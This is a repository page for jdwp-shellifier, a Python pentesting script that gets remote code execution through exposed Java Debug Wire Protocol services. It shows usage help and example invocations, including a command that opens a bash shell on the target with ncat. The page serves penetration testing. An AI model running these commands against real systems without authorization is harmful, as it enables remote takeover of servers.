Need help with jdwp-shellifier?
Click the “chat” button below for chat support from the developer who created it, or find similar developers for support.

About the developer

595 Stars 245 Forks MIT License 16 Commits 4 Opened issues

Services available


Need anything else?

Contributors list

JDWP exploitation script

What is it ?

This exploitation script is meant to be used by pentesters against active JDWP service, in order to gain Remote Code Execution.

How does it work ?

Well, in a pretty standard way, the script only requires a Python 2 interpreter:

% python ./ -h
usage: [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
                      [--cmd COMMAND]

Universal exploitation script for JDWP by @hugsy

optional arguments: -h, --help show this help message and exit -t IP, --target IP Remote target IP (default: None) -p PORT, --port PORT Remote target port (default: 8000) --break-on JAVA_METHOD Specify full path to method to break on (default: --cmd COMMAND Specify full path to method to break on (default: None)

To target a specific host/port:

$ python ./ -t -p 1234

This command will only inject Java code on the JVM and show some info like Operating System, Java version. Since it does not execute external code/binary, it is totally safe and can be used as Proof-Of-Concept

$ python ./ -t -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"

This command will actually execute the process

with the specified argument with the rights given to the running JVM.

Before sending questions, make sure to read for full understanding of the JDWP protocol.


  • Ilja Van Sprundel
  • Sebastien Macke

We use cookies. If you continue to browse the site, you agree to the use of cookies. For more information on our use of cookies please see our Privacy Policy.